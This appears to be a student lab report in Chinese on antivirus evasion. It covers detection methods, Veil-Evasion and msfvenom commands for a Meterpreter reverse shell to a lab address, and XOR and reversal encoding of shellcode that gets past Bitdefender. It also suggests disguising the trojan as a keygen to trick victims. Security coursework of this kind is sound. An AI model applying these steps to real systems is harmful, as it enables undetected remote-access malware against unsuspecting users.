20145221高其_免殺原理與實踐
免殺
概述
- 免殺,也就是反病毒(AntiVirus)與反間諜(AntiSpyware)的對立面,英文爲Anti-AntiVirus(簡寫Virus AV),逐字翻譯爲「反-反病毒」,翻譯爲「反殺毒技術」。
- 被誰殺?固然是被殺毒軟件(引擎)殺。因此,要作好免殺技術(防護),就要弄清殺毒方式(攻擊),也就是這些殺毒軟件是如何工做的。
惡意代碼檢測方式
- 基於特徵碼的檢測
- 特徵庫,也就是咱們平時說的病毒庫,它記錄了一些惡意軟件的特徵碼,這些特徵碼由一個不大於64字節的特徵串組成,根據本身檢測出或網絡上已發現報告的病毒,對其多段提取特徵碼,構成了對惡意軟件查殺的重要因素;
- 殺毒軟件都有着本身的龐大病毒庫(實際上就是由特徵碼構成的一個數據庫),殺毒時只需與特徵碼進行比對就可判斷出軟件是否有毒;
- 根據以上介紹,我總結了這種方式的查殺特色:
- 病毒庫越大,殺毒有效率越高;
- 由於收集的是已發現病毒的特徵碼,因此誤報率低;
- 對部分新型病毒沒有抵抗性,沒法抵禦零日攻擊,須要按期更新病毒庫。
- 啓發式惡意軟件檢測
-
「When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.」對照惡意軟件檢測來主說,就是若是一個軟件在幹一般是惡意軟件乾的事,看起來了像個惡意軟件,那咱們就把它當成一個惡意軟件吧!php
- 用較爲專業的角度來解釋就是,分析對象文件與病毒特徵庫中的病毒原碼進行比較,當兩者匹配率大於某一值時(一般這一值較小,因此容易誤報),殺毒軟件就會將其列爲可疑文件以進行下一步的除理。
- 總結出如下特色:
- 查殺效率極高,不須要依賴龐大的病毒庫;
- 對新型病毒有較好的預防性,能夠抵禦零日攻擊;
- 由於分析是「啓發式」的、不精確的、機率性的,因此其誤報率也不可忽略;
- F-Prot是一款殺毒軟件,有三個啓發引擎,可見其是比較強大的,但其誤報我也深感無能爲力啊(後文會介紹)……
- 基於行爲的惡意軟件檢測
- 其實這種檢測與啓發式的較爲相近,都沒有依賴病毒庫,可是我感受它比啓發式更靠譜一點,它是在一種程序運行的狀態下對其行爲進行監控,若是有敏感行爲會報毒,是一種動態的監測與捕捉;
- 總結出如下特色:
- 不過度依賴病毒庫,效率高;
- 能夠檢測出獲取權限等敏感行爲,從這種意義上說,在必定程度上是能夠抵禦新型病毒的;
- 由於是對系統的一個動態監測,會佔用部分系統資源。
免殺方式
- 只有弄懂了上述查殺原理,對免殺的方式纔有更清晰的理解
- 改變特徵碼
- 加殼,經過加殼,讓殺毒軟件沒法進行反彙編、逆向工程,進而沒法分析代碼(一般這種方法也被用到對軟件版權的保護,而在此處被咱們用爲免殺的手段,唉,是所謂工具本無好壞,人心纔有善惡)
- 對shellcode進行編碼、重組(本文重點介紹此處的實踐)
- 改變行爲
- 通信方式
- 儘可能使用反彈式鏈接(用的最多)
- 使用隧道技術
- 加密通信數據
- 操做模式
- 其它方法
- 使用一個有漏洞的應用當成後門,編寫攻擊代碼集成到如MSF中
- 使用社會工程學類攻擊,誘騙目標關閉AV軟件、點擊木馬軟件
- 純手工打造一個惡意軟件
小試牛刀
- 基於前述博客,咱們已經生成了一個木馬程序,併成功讓kali主機攻擊了win10靶機;
- 但攻擊成功的基礎是,我已經將其添加到「電腦管家」的信任區中,否則早就被報毒查殺了
- 那這個病毒到底抗殺能力怎麼樣呢?能夠經過VirSCAN.org來檢驗一下
- 如下是以前木馬程序的檢測報告:
- 從上圖能夠看出,許多殺軟一針見血的指出了該程序爲「木馬類」程序
- 因此接下來要展示強大的免殺技術,順利讓咱們的木馬潛入特洛伊!
基於特徵碼的改變來實現免殺
Veil-Evasion免殺平臺
- Veil-Evasion是一個與Metasploit有點相似的軟件,已經在kali虛擬機裏,若是沒有能夠進行在線安裝:
sudo apt-get install veil-evasion
- 在終端下輸入指令
veil-evasion
便可打開軟件,根據menu
的提示依次鍵入如下指令:
use python/meterpreter/rev_tcp //設置payload
set LHOST 192.168.18.128 //設置反彈鏈接IP
set port 443 //設置反彈端口443,默認爲4444
generate //生成
5221 //程序名
1
- 查殺結果以下:
- win10,電腦管家20170209反病毒引擎(拷貝即被查)

- win10,Bitdefender2017最新版(截至2017/3/19)(拷貝即被查)

- VirSCAN.org檢測

C語言調用Shellcode
- 在kali主機下,進入終端,執行指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=443 -f c
LHOST
:攻擊機IP
LPORT
:反彈鏈接端口
c
:生成一個c語言格式的Shellcode數組

- 將上述代碼從虛擬機裏copy出來,用
Microsoft Visual Studio 2013
進行編譯運行生成可執行文件
- 在kali下進入MSF打開監聽進程,方式參考博文
- 在靶機上運行
nc1.0
可執行文件,kali成功獲取權限
- 靶機配置:win10,電腦管家20170209反病毒引擎

- VirSCAN.org檢測結果以下:
- 其中查看行爲分析結果:78分

- 小結:能夠看出,生成shellcode半手工打造,而不是經過msfvenom指令生成一個可執行文件,風險已經下降了很多,可是仍被定性爲病毒文件,因此須要進一步考慮修改代碼
修改shellcode——逆序
- 原有shellcode不變,只在
Microsoft Visual Studio 2013
下對源代碼進行修改
- 首先最直接的想法是加密,對shellcode進行對稱加密,將密文shellcode填入木馬源代碼中,在執行過程當中經過密鑰和解密算法進行解碼,以此變爲正常的shellcode
- 但考慮到C語言實現加解密還要去網上下載相應的庫,因此暫不做打算,而是對shellcode進行簡單的變換,立馬想到了求其逆序,首尾對換,操做簡單易實現,先觀察查殺結果再作進一步打算
- 爲了快速對shellcode數組求逆序,並寫入木馬的源代碼中,爲此我設計了一個求逆序並將其輸出的代碼(輸出到文件,便於複製粘貼)
- 輸出到文本後複製粘貼到木馬源代碼中,爲以下格式:
- \x:按照輸出數轉換爲16進制的實際位數輸出,因此顯示出了32位16進制數(補碼形式)
- 不過不要緊,有個方便簡單的操做,在studio中,按鍵
Ctrl+H
,輸入待替換字符和替換字符,分貝設置爲ffffff
和空
(啥都不設),而後一鍵操做,OK

- 設置shellcode的逆序後,在木馬程序源代碼中對其進行再逆序便可完成,實際操做起來只需在主函數開始位置引入一個初始化函數
init()
求逆序,後續和第一部份內容大同小異,再也不贅述
- 最後給一下VirSCAN.org檢測結果:
- 靶機配置:win10,電腦管家20170209反病毒引擎
- 其中查看行爲分析結果:75分


- 小結:不難發現,經過對shellcode求其逆序,改變了程序的特徵碼,一下減小了3個殺毒引擎,惟一發現病毒的是
F-Prot
,這是一款啓發式引擎的殺毒軟件,但也沒有檢測出病毒類型。相比之下,修改後的已經安全了很多。
進一步修改shellcode
- 有了一些進步後,便在思考,是否是由於只是逆序了一下,本質上shellcode的內容是沒有發生變化的,因此才致使了繼續報毒
- 基於上述考慮,我作了更復雜的變化,將shellcode數組的奇數位與偶數位區別對待,分別作以下操做:
- 奇數位:亦或172,
172==10101100==0xAC
- 偶數位:亦或83,
83==01010011==0x53
- 這樣能夠保證shellcode數組中的每個元素都發生了一半bit的變化,並且變化不盡相同,在必定程度上改變了原數組的內容
- 廢話很少說了,貼上新版本的代碼:
- 最後給一下VirSCAN.org檢測結果:
- 靶機配置:win10,電腦管家20170209反病毒引擎
- 其中查看行爲分析結果:78分

對shellcode最後一步嘗試
- 對於上面的結果我也很無奈啊,爲何仍是報毒,是否是
F-Prot
的殺毒引擎爲啓發式,太敏感了?
- 基於此,我將整個shellcode數組換成了再正常不過的
abcd12345
,編譯執行並上傳檢測
- 理想太性感,現實太骨感,仍是被它報毒,因此我猜測是否是由於對程序進行逆向和反彙編後,對其中有call指令的調用或者
VirtualProtect()
操做這類行爲敏感,致使報毒
實戰檢驗
- 經過前幾回檢測結果,發現國外的殺毒軟件每每更有效,能檢測出該程序爲木馬
-
因爲咱們使用的病毒檢測引擎所運行平臺及引擎版本的問題,咱們所提供的掃描檢測結果並不徹底表明各個提供引擎的反病毒廠商的實際能力。並有可能出現咱們的平臺沒有報告,但實際使用中該款軟件能夠查殺的狀況,或咱們的平臺可以報告,但實際使用中該款軟件不能正確查殺的狀況。html
- 上述這段話摘自於VirSCAN.org,病毒庫是屬於各家殺毒公司的版權吧,通常可能不會輕易提供最新版本的病毒庫,因此頗有必要檢測一下該後門在實際中的表現,在此以前咱們已經作過了win10下的電腦管家檢驗,正常。
- 下載Bitdefender 2017,能夠試用30天,但其安裝必要條件是IE11及以上,因此仍是隻能在win10這個平臺上實現
- 靶機配置:win10,Bitdefender2017最新版(截至2017/3/19)
- 木馬程序:
nc3.0
- 在kali機上開啓監聽進程,而後在win10靶機上打開木馬程序(保持病毒防禦軟件一直處於工做狀態)
- 很幸運,
Bitdefender 2017
並無在此過程當中報毒,如下是隨便測試的幾條指令
實驗思考
- 雖然達到了不被發現的目的,可是離實際應用仍是差很大距離的,就好比,如今這個層次的應用只能是在同一個WLAN下,若是想要攻擊別人,得租一個服務器,這樣能夠應用範圍更廣;其次還要設計的讓人願意下載,運用社會工程學方法誘導別人下載使用,好比假裝成序列號生成器、破譯軟件等廣大用戶須要的軟件,等等;總之,離實際應用還有很長的一段路要走…
- 免殺的實驗作的仍是頗有趣的,有一種在暗夜裏潛行,生怕被人發現的那種刺激感;經過此次實驗,作好免殺仍是要有必定的編程技巧的,若是徹底依賴於Meterpreter、加殼工具等一些軟件服務,免殺效果是不明顯的,由於你知道這些能夠作免殺能夠加殼,難道人家殺軟不知道沒有分析過?因此網絡上流行的這些軟件,實際上免殺效果並很差,詳見博客
- 免殺最好的效果就是純手工,純人爲構造,殺軟能夠分析免殺軟件生成的模式進而發現其隱藏的規律,而人爲構造的惡意代碼每每由於不具備廣泛性而難以捉摸;但免殺的嘗試不是一蹴而就的,就像此次的實踐,是在不斷的修改代碼過程當中,從開始21家報毒,到後來1家報毒,逐漸達到了免殺的級別,這個過程須要不斷的嘗試;
- 殺毒與免殺就是矛與盾,是一種博弈關係,是一種此消彼長的競爭關係,只要互聯網還存在,殺毒與免殺就是互聯網安全永恆的主題;殺毒軟件的薄弱在本次實踐中可見一斑,因此之後在網絡中要「潔身自好」,不應點擊的連接別點,來歷不明的第三方軟件別下,定時更新病毒庫、查毒、殺毒;
- 這一種博弈關係很是微妙,就像本文提到的,原本VirSCAN.org的目的多是幫助檢查是否爲病毒文件,但可能被「咱們」這樣的人惡意利用,用來檢測本身的病毒是否免殺;又好比,加殼軟件的初衷多是版權問題,防止他人惡意反彙編、逆向,但這又能被「咱們」利用,讓「殼」變成病毒的保護殼,正所謂,工具本無好壞,人心纔有善惡!
參考資料